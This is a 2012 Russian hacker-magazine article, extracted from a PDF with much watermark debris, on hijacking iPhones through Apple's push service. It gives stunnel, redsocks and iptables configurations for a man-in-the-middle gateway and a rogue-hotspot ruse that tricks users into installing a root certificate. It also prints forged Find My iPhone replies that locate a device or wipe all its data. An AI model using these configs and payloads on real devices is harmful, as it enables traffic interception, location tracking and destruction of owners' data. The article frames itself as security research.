Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
9.67 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

ВВЕДЕНИЕ

Итак, речь пойдет о мобильных устройствах iPhone/iPad. Не секрет, что в яблочных устройствах есть механизм, негласно отстукивающий в Apple о своих владельцах. При этом «продается» он как уникальная возможность удаленно управлять своими устройствами — например, для определения его расположения на случай, если телефон был потерян или украден. Но то ли из-за лени, то ли из-за угрозы черных вертолетов интернет не богат исчерпывающими описаниями этих механизмов. Интерес к тому, что уходит в Apple, подогревается тем, что связь с серверами Apple наглухо зашифрована, причем контроль подлинности обеспечивается не только сервера, но и местами клиента. Да-да, для каждого устройства заводится свой удостоверенный Apple’ом сертификат! И на первый взгляд даже кажется, что защита этого механизма более чем надежна. Однако я все-таки решил провести небольшое исследование и разобраться в простом вопросе, может ли злоумышленник обойти криптографическую защиту и перехватить контроль над чужим устройством. Забегая вперед, скажу одно: может!

ЧТО ТАКОЕ PUSH?

Для начала давай разберемся, о какой это технологии для удаленного управления сразу всеми устройствами на базе iOS идет речь. Называется она Apple’s Push Notification Service (APNs), но дальше я часто буду называть ее просто Push. Технически это завернутый в SSL легкий (максимальный размер payload — 256 байт) бинарный протокол, предназначенный для передачи сигналов на устройство серверов Apple в режиме реального времени. Любое устройство на iOS в момент первого запуска выполняет процедуру активации — это необходимо, чтобы только что вытащенный из коробки свежий iPhone или iPad начал полноценно работать. В процессе активации происходит генерация пары ключей, публичная часть которой удостоверяется корневым сертификатом (CA) Apple и сохраняется на устройстве (кстати, это одна из причин, почему для активации нужен интернет). Далее iOS каждый раз, когда обнаруживает, что сервер Apple доступен, пытается установить SSL-соединение на 5223-м порту. При этом происходит двухсторонняя аутентификация: iOS аутентифицирует сервер, используя имеющиеся у нее CA, а сервер аутентифицирует клиента по сертификату, полученному при активации устройства.

В публичной документации Apple подробно описано, как разработчики могут использовать APNs для связи со своими приложениями. Но, что странно, нет никаких описаний взаимодействия между APNs и iOS. Расскажем об этом подробнее. После успешной установки SSL-соединения клиент отправляет серверу описание устройства в бинарном виде, по которому сервер проверяет, соответствует ли сертификат тому устройству, которое его пытается использовать. Если сертификат одного устройства применить на другом девайсе, то соединение моментально разорвется. Если проверка проходит успешно, то iOS получает от Apple своего рода ACK-сообщение (0d 00 00 00 00 — его хорошо видно на скриншоте) и… начинает ждать команды.

Что можно посылать через APNs? Например, стандартные извещения для мобильных приложений, хорошо знакомые любому пользователю iOS. Или коротенькое текстовое сообщение, которое выведется на экран устройства. А можно передать следующее особенное сообщение:

{

"serverContext":{

"tapSendTS":"2012-05-08T18:55:36.668Z",

"tapSendContext":"fmip"

}

}

Получив его, устройство, никак не уведомляя пользователя, начинает общение с одним из механизмов Apple iCloud — Find my

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

iZombie, или вкус чужих яблокw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СхемааутентификацииAPNSиiOS-устройства

iPhone (отсюда и сокращение fmip, использующееся в сообщении). Это, напомню, сервис для определения текущего месторасположения телефона.

Ты спросишь: «Как удалось вклиниться в защищенный канал при условии двухсторонней аутентификации и подсмотреть эти нюансы?» Используемый подход, в общем-то, известен. Для того чтобы провести MITM-атаку, на шлюзе размещается удостоверенный Apple’ом сертификат и ключ устройства, а на устройстве — самозваный CA, которым впоследствии будет удостоверен фальшивый сертификат с атакующего шлюза. Когда есть доступ к iPhone’у, провернуть это не бог весть какая задача:

1.Сначала делается джейлбрейк устройства.

2.Далее осуществляется вход по SSH под root’ом.

3.На устройстве устанавливается самозваный CA.

4.В директории private/var/Keychains запускается предварительно скачанная утилита nimble.

5.Полученные в результате ее работы файлы — push-bin.crt и push-bin.key — перетаскиваются на атакующий шлюз (с предварительной конвертацией их из DER в PEM).

6.На шлюзе поднимается утилита stunnel со следующим конфигом:

ПолучивэтоACK-сообщение(0d00000000),iOSначинаетждатькоманды

ХАКЕР 07 /162/ 2012

019

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

COVERSTORYm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1

 

 

 

2

 

 

 

3

 

 

 

 

 

 

 

 

 

 

 

 

[apple_mitm_push_s]

accept = 0.0.0.0:5222

connect = 127.0.0.1:9500

cert = /home/attacker/CA/courier.push.apple.com.pem

#фальшивый сертификат push-сервера, подписанный

#установленным на устройство CA

key = /home/attacker/CA/courier.push.apple.com.key

[apple_mitm_c]

cert = /home/attacker/CA/push-cert.pem

key = /home/attacker/CA/push-key.pem

#данные с устройства, которыми мы представляемся

#Apple

client = yes

accept =

0.0.0.0:9500

connect =

17.149.36.129:5223

# один

из Push-серверов Apple

Теперь, используя port-forwarding на шлюзе (через iptables или другой файрвол), заворачиваем весь трафик к 5223-му порту на локальный порт 5222.

Если все было проделано верно, то на локальном интерфейсе шлюза становится возможным посмотреть протокол Push в открытом виде.

Пункт 3 представляет особый интерес и будет рассмотрен отдельно, а пока немного теории.

КАК РАБОТАЕТ АУТЕНТИФИКАЦИЯ В IOS?

Операционная система iOS, которая используется в iPhone/iPad, была любимым ребенком с хорошей наследственностью (потомок UNIX). Однако порыв сделать систему доступной для сторонних разработчиков и одновременно с этим желание держать их на коротком поводке привели к тому, что даже для такой интимной задачи, как аутентификация, любые приложения используют заранее оговоренный механизм, встроенный в саму ОС, — демон Security Server (securityd). Он же является менеджером паролей, ключей и сертификатов. Сертификаты, пароли, используемые

в родных приложениях Apple (например, почты и браузера), сохраняются в базе SQLite с именем keychain-2.db, которая легко

находится в джейлбрейкнутых устройствах. А описание формата закодированных данных и исходники securityd-демона можно найти в открытом доступе на сайтах Apple. Для нас интересны две особенности демона securityd:

1.В бинарник демона из коробки зашиты CA сертификаты Apple, которые аутентифицирует сервер при полностью зачищенном или удаленном хранилище keychain-2.db. Причем кроме корневых сертификатов Apple здесь можно найти правительственные сертификаты Японии, США и некоторых других стран.

В свете этого обстоятельства использование iOS высшими чиновниками становится особенно пикантно.

2.Контроль подлинности сертификата сервера происходит через последовательную проверку каждым установленным корневым сертификатом (CA). Причем нет никакого приоритета среди установленных CA, так что сервер будет аутентифицирован успешно, если его сертификат может быть удостоверен хотя бы одним CA из хранилища. Это имеет ключевое значение для всего, что будет рассказано далее.

Соответственно, для того, чтобы раскрыть любой SSL-трафик, передаваемый устройством с iOS на борту, нужно решить две задачи: управления трафиком и доставки на устройство своего корневого сертификата. Ниже описан способ, как решить их обе.

ВНЕДРЕНИЕ CA В IOS

Есть три широко известных способа установки корневого сертификата в хранилище iOS:

черезбраузер;

черезнативныйпочтовыйклиент;

черезмеханизмMDM(MobileDeviceManagement).

Так как для успешного перехвата данных как минимум требуется доступный и простой контроль над трафиком цели, то MDM и почта отпадают — остается первый вариант. Сценарий, который с высокой долей вероятности может привести злоумышленника к цели, использует:

1.Особенности интерфейса управления настройками.

2.Маскировку под системный интерфейс.

020

ХАКЕР 07 /162/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

4 5

3.Непонимание ~99% пользователей iOS основ технологии аутентификации с помощью открытых ключей.

ЖИВОТНАЯ ЖАЖДА ИНТЕРНЕТОВ! :)

Идея вот в чем — поднять свой хотспот с «бесплатным интернетом». Злоумышленник, визуально маскируя iPhone Splashscreen (то окошечко, которое «выезжает снизу» с предложением залогиниться на hotspot) под системный интерфейс, может предложить пользователю «Принять профиль для выхода в интернет» и выполнить необходимые манипуляции — юзер, сам того не понимая, таким образом установит корневой сертификат. При этом для большего успеха злоумышленник может эффектно прикрываться каким-нибудь раскрученным брендом.

Имея такой инструмент, не слишком сложно, находясь в Wi-Fi- радиусе устройства, подсадить пользователя на нужный хотспот (отключив его, например, через старую утилиту aireplay-ng от всех остальных точек) и подождать, когда несчастный захочет воспользоваться Сетью. Конкретно от пользователя требуется три действия:

1.Подтвердитьподключениекхотспоту.

2.Нажать«Принять»воткрывшемсяsplashscreen’е.

3.Дваждынажать«Установить»воткрывшемсяменюнастроек.

Вот и все. Самое сложное тут — грамотно настроить хотспот. После того как пользователь установит сертификат, hotspot «пускает» его в интернет, а все SSL-сессии фактически становятся скомпрометированы. Здесь стоит вспомнить, что все приложения на iPhone/iPad работают через демон securityd, а значит, нападающий получает доступ сразу ко всему трафику, начиная с почты и заканчивая PayPal и App Store…

КАК СДЕЛАТЬ MITM УДОБНЫМ?

ИдеяподобнойMITM-атакинесильномоложеасимметричной криптографиииможетбытьреализована,кпримеру,так:

1 СоздаетсясамозваныйCAcпомощьюOpenSSL.

2.Далееподнимаетсяхотспот(яиспользовалChilliSpot, www.chillispot.info).Маскировкаsplashscreenподинтерфейс iPhoneупрощаетсязасчеткакой-нибудьготовойбиблиотеки стилей,напримерiWebkit.

3.ДалеевесьинтересныйSSL-трафикнеобходимонаправитьна

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

iZombie, или вкус чужих яблокw Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WWW

 

INFO

 

 

 

 

 

 

 

 

 

 

 

Описание securitydотApple: bit.ly/K1bAGs;

ОписаниеBLOBFORMAT: bit.ly/K1bJtI;

Гидпосистеме

PushNotification: bit.ly/iCdRmd;

Описание

NotificationPayload: bit.ly/eVWx7j.

WARNING

Обративнимание,что материалпредставлен исключительновобразовательныхцелях, чтобыпоказатьизъяныв технологиях,которыена первыйвзглядкажутсязащищенными.Неповторяй напрактике!Этоможет нанестивредтвоемуили чужомуустройству.Редакцияиавторответственностиненесут.

Приотдельномзапросеямогуподелиться небольшимсервером, которыйпроделываетвсе описанное.Нотаккакон толькодлялабораторных исследований,товсе значения,которыемогут менятьсяотустройства кустройству,типаudidи переменныхвURL,внем захардкоженыподмой лабораторныйдевайс.

Ликующим пользователям Android хочется сказать, что у Google также есть аналогичная APNs технология, позволяющая, к примеру, установить или удалить приложение сразу на всех устройствах. Речь идет о C2DM (Cloud to Device Messaging Framework), и мы подробно рассматривали его в статье «Android-марионетки» (bit.ly/nsvWcb).

Воттакнерадивыйпользователь,впогонезабесплатныминетом,устанавливаетсебелевыйсертификат

специальныйпрокси-сервер.Сэтимидеальносправляетсяуста- новленнаянашлюзеутилитаredsocks(darkk.net.ru/redsocks)с воттакимконфигом:

base{log_debug = on; log_info = on; log = "file:/tmp/

reddi.log"; daemon = on; redirector = iptables;}

redsocks { local_ip = 0.0.0.0; local_port = 31337;

ip = 127.0.0.1; port = 31338; type = http-connect; }

и правилами iptables:

iptables -t nat -N REDSOCKS

iptables -t nat -A REDSOCKS -d 0.0.0.0/8 -j RETURN

iptables -t nat -A REDSOCKS -d 10.0.0.0/8 -j RETURN

iptables -t nat -A REDSOCKS -d 127.0.0.0/8 -j RETURN

iptables -t nat -A REDSOCKS -d 169.254.0.0/16 -j RETURN

iptables -t nat -A REDSOCKS -d 172.16.0.0/12 -j RETURN

iptables -t nat -A REDSOCKS -d 192.168.0.0/16 -j RETURN

iptables -t nat -A REDSOCKS -d 224.0.0.0/4 -j RETURN

iptables -t nat -A REDSOCKS -d 240.0.0.0/4 -j RETURN

iptables -t nat -A REDSOCKS -p tcp --destination-port \

443 -j REDIRECT --to-ports 31337

iptables -t nat -A REDSOCKS -p tcp --destination-port \

80 -j REDIRECT --to-ports 31339

iptables -t nat -A PREROUTING -i at0 -j REDSOCKS

Из этих правил следует, что в сети нашего хотспота ни один пакет не попадет в интернет. А вот пакеты на заданные порты (443 и 80) лягут на локальные порты шлюза, где их уже будут ждать проксирующие серверы (для открытого HTTP подойдет Burp Proxy). HTTPS в нашем случае ложится в Redsocks (пользуясь случаем, еще раз благодарю коллегу darkk за столь простое и полезное изобретение).

4.RedsocksзатемпередаеттрафиквCharlesProxy (www.charlesproxy.com),которыйужеслушаетна31338-мпорту. «Чарльз»хороштем,чтоналетугенерируетиподписывает сертификатыдлявсеххостов,ккоторымклиентпытаетсяобращаться.Дляэтогоониспользуетзагруженнуювнегоприватную половинусгенерированногокорневогосертификата.

ХАКЕР 07 /162/ 2012

021

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

COVERSTORYm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

С этого момента злоумышленник может проводить MITM-атаки на любые серверы, где не выполняется контроль подлинности клиента.

СИДЕТЬ! ЛЕЖАТЬ! УМРИ!

Теперь, когда в распоряжении есть инструмент для обхода серверной аутентификации, самое время вспомнить об уведомлениях через Push. Так как в технологии используется двухсторонняя аутентификация, то полноценно проксировать данные, не залезая в iPhone за ключами, не получится. Однако стать APNs-сервером, который пройдет аутентификацию на устройстве, уже ничто не мешает. Как только к фальшивому Push-серверу подключится iOS ничего не подозревающего пользователя, злоумышленник может сразу отправить ему сообщение, о котором я уже говорил выше:

{

"serverContext":{

"tapSendTS":"2012-05-08T18:55:36.668Z",

"tapSendContext":"fmip"

}

}

Дата здесь не принципиальна, а ключевое слово fmip отдает команду на запуск сеанса связи с Find My iPhone. Получив сообщение, iOS втихую обращается в iCloud, используя HTTPS (причем используется довольно занятная мутация HTTP с впечатляющим количеством заголовков и специфичными кодами). Первым с устройства приходит POST-запрос (исходный «однострочник» приведен к читаемому виду) со следующим телом (здесь и дальше приведена только самая информативная часть):

{

"deviceInfo": {

"buildVersion": "9B176",

"aps-token": "285cdaаffeb5f8767233ebdfe3a2df07

797ae864e586ce902c321f222f84d333",

"passcodeConstraintStr": "Enter a four-digit passcode.",

"deviceColor": "black",

"productVersion": "5.1",

"batteryLevel": 0.1292443,

"deviceName": "iPhone test",

"locationServicesEnabled": true,

"findMyiPhone": true,

"productType": "iPhone2,1",

"udid": "7beafa302d46b670f0657c00af720c347f5f1eb8",

"passcodeConstraint": "simple",

"deviceClass": "iPhone",

"batteryStatus": "Charging",

"passcodeIsSet": true

},

"serverContext": {

"tapSendContext": "fmip",

"tapSendTS": "2012-05-08T21:05:37.132Z"

},

"deviceContext": {

"deviceTS": "2012-05-08T21:05:38.210Z"

}

}

Из него уже можно почерпнуть много интересной информации. Цель этого запроса — узнать команды, которые были адресованы устройству через систему удаленного управления. И тут мы подходим к самому интересному: а что можно послать? Базовый набор обнаруживает себя, если посылать запросы устройству через iCloud. Например, если притвориться сервером, то можно послать команду, которую использует iCloud для определения координат устройства:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Данные,передаваемыепоSSL,отображаютсявоткрытомвиде!

ПерехваченныепарольилогиндлядоступакAppStore

{

"endThreshold": 10,

"ackURL": "https://p02-fmip.icloud.com:443/

fmipservice/findme/403955807/7be6fa307846b67

0f0346c00af720c347f5f1eb8/ackLocate",

"decayFactor": 0.7,

"desiredAccuracy": 40,

"startThreshold": 2000,

"locationValidityDuration": 120,

"id": "6df3ff6f-f365-499e-b921-93641206bffa",

"enqueueTimestamp": 1336505766732,

"cmd": "locate",

"includeTrackingInfo": false,

"overridenCommandDomain": null,

"locationTimeout": 120,

"findMyiPhone": true,

"responseTimeStamp": 1336505766732

}

Через некоторое время (если оно нужно для установки координат) устройство отдаст весьма подробный ответ:

{

"locationFinished": false,

"deviceContext": {

"cmdId": "6df56f6f-f445-499e-b921-93641006bffa",

"deviceTS": "2012-05-08T19:36:11.391Z"

},

"deviceInfo": {

"udid": "77be6fa307846b670f0346c00af720c347f5f1eb8"

},

"alt": 141.3043212890625,

"positionType": "Wifi",

"vertAcc": 10,

"longitude": 37.5862605508342,

"latitude": 55.72784808181711,

"statusCode": 200,

"timestamp": "2012-05-08T19:36:09.195Z",

022

ХАКЕР 07 /162/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

"horizontalAccuracy": 71.1873037658878

}

Но какой толк в GPS-координатах, когда жертва и так висит на специально поднятом хотспоте? :) Гораздо аппетитней другая базовая команда — wipe, которая уничтожает все данные и откатывает устройство к заводским настройкам. Все, что нужно злоумышленнику для проведения такого нападения, — ответить устройству:

{

"message": "",

"id": "06c0a5f9-5126-4428-b875-59acbb956714",

"enqueueTimestamp": 1336510929036,

"cmd": "wipe",

"pin": "",

"overridenCommandDomain": null,

"ackURL": "https://p02-fmip.icloud.com:443/

fmipservice/findme/408888807/0346c

a302d46b670f0346c00af720c347f5f1eb8/ack",

"responseTimeStamp": 1336510929032,

"verifyURL": "https://p02-fmip.icloud.com:443/

fmipservice/findme/408888807/0346c

7802d46b670f0346c00af720c347f5f1eb8/wipeVerify"

}

Здесь нужно понимать, что параметры «408888807/0346c 7802d4 6b670f0346c00af720c347f5f1eb8/» в URL индивидуальны для каждого устройства (однако они извлекаются из тех адресов, к которым обращается устройство). Поле id — уникальный идентификатор сообщения: если он будет использоваться для какого-то сообщения повторно, то оно не будет обработано. Итак, после получения такого ответа устройство подтвердит получение, отправив на verifyURL сообщение:

{

"id": "06c0a5f9-5126-4428-b875-59acbb956714",

"ackURL": "https:\/\/p02-fmip.icloud.com:443\/

fmipservice\/findme\/408888807\/0346c

7802d46b670f0346c00af720c347f5f1eb8\/ack",

"deviceContext": {

"deviceTS": "2012-05-08T21:05:39.604Z"

},

"enqueueTimestamp": 1336510929036,

"responseTimeStamp": 1336510929032,

"deviceInfo": {

"buildVersion": "9B176",

"aps-token": "285cda0ffeb5ff767233ebdfe3a4df07

797ae864e586ce902c321f222f84d333",

"passcodeConstraintStr": "Enter a four-digit passcode.",

"deviceColor": "black",

"productVersion": "5.1",

"batteryLevel": 0.1292443,

"locationServicesEnabled": true,

ПОЛУЧИВ КОМАНДУ, IOS НЕЗАМЕДЛИТЕЛЬНО ЗАПУСКАЕТ ПРОЦЕСС

ПОЛНОГО УНИЧТОЖЕНИЯ ВСЕХ ПОЛЬЗОВАТЕЛЬСКИХ ДАННЫХ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

iZombie, или вкус чужих яблокw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

"findMyiPhone": true,

"productType": "iPhone2,1",

"udid": "7beafa302d46bffff0346c00af720c347f5f1eb8",

"passcodeConstraint": "simple",

"deviceClass": "iPhone",

"passcodeIsSet": true

},

"overridenCommandDomain": null,

"message": "",

"statusMessage": "OK",

"verifyURL": "https:\/\/p02-fmip.icloud.com:443\

/fmipservice\/findme\/408888807\/0346c

7802d46b670f0346c00af720c347f5f1eb8\/wipeVerify",

"cmd": "wipe",

"pin": "",

"cmdContext": {

"ackURL": "https:\/\/p02-fmip.icloud.com:443\

/fmipservice\/findme\/408888807\/0346c

7802d46b670f0346c00af720c347f5f1eb8\/ack",

"message": "",

"id": "06c0a5f9-5126-4428-b875-59acbb956714",

"verifyURL": "https:\/\/p02-fmip.icloud.com:443\

/fmipservice\/findme\/408888807\/0346c

7802d46b670f0346c00af720c347f5f1eb8\/wipeVerify",

"enqueueTimestamp": 1336510929036,

"cmd": "wipe",

"responseTimeStamp": 1336510929032,

"pin": "",

"overridenCommandDomain": null

},

"statusCode": 200

}

Получив в ответ код 200 (код 200 — HTTP-статус-код, который свидетельствует о корректной обработке запроса), iOS незамедлительно запускает процесс полного уничтожения всех пользовательских данных, перерождаясь девственно чистой, как с прилавка!

Здесь стоит вспомнить про полезный баг: если ты случайно запустил wipe на чужом iPhone, то сразу после угасания экрана сделай ему soft reset двумя кнопками. Если успеешь, то после перезагрузки процесс не возобновится и все будет, как раньше. А если боишься не успеть и все-таки собираешься экспериментировать, то сделай бэкап в iCloud.

ИТОГ. ИЛИ ТОЛЬКО НАЧАЛО?

Этот материал лишь немного проливает свет на внутреннюю кухню Apple, про которую в публичном доступе нет никакой документации. Чтобы расширить и закрепить успех, необходимо продолжать исследования в нескольких направлениях:

1.Поисквозможностейдоступакданнымчерезинтерфейсудаленногоуправления.Естьвсеоснованияпредполагать,чтоодними командамиwipeиlocateделонеограничивается.

2.Поискспособовсозданияэлементовприсутствиянаскомпрометированныхустройствах(загрузкаподдельныхобновленийкак одинизвариантов).

3.Оптимизацияпроцедурыдоставкисертификата.

Кроме этого, в статье обозначен новый социальный вектор нападения на мобильные устройства — внедрение самозваного корневого сертификата, который неплохо бы изучить на всех популярных платформах. И в 1001-й раз было доказано: даже хорошая криптография в руках того, кто не знает, что это, подчас теряет всякий смысл. А Apple’у, несмотря на колоссальную и, в общем, хорошо проделанную работу над безопасностью, остается порекомендовать пересмотреть политику равноправия всех корневых сертификатов и как-то научиться доносить до своей аудитории, что не все корневые сертификаты одинаково полезны. Только вот реально ли это? z

ХАКЕР 07 /162/ 2012

023

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

m

w

 

df-xchanCOVERSTORY

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ФАКТЫ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Ru

Пришел

наработу

вMail

 

 

 

.

вдалеком

2001

году

 

 

 

 

 

 

 

 

 

 

С2005года

занимает

должность

 

 

-

-президента,

техническо

 

 

 

 

.

вице

 

 

 

 

 

 

 

 

 

 

 

 

 

годиректора

Mail.RuGroup

Использует

MacOSXвкачестве

 

 

 

 

 

 

 

 

 

.

 

основной

системы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

Любимое

хобби

—работа

 

 

 

 

 

 

 

 

 

 

 

 

 

Cпит

около

6часов

всутки,

-00.

 

 

 

 

 

с11-00

 

работает

до23

 

 

 

 

 

 

 

 

ТЕХДИРMAIL.RU

ВЛАДИМИРГАБРИЕЛЯН

Mail.Ru — это давно не просто почтовая служба, которой все мы когда-то пользовались. Теперь это микс из самых разных сервисов, включая социальные сети, мессенджеры и онлайн-игры. Наш гость — человек, который отвечает в компании за технологии. Придя в Mail.Ru на позицию простого UNIXадминистратора, Владимир Габриелян сумел стать техническим директором Mail.Ru Group и сейчас готов рассказать о том, как проекты компании устроены изнутри.

024

ХАКЕР 07 /162/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 
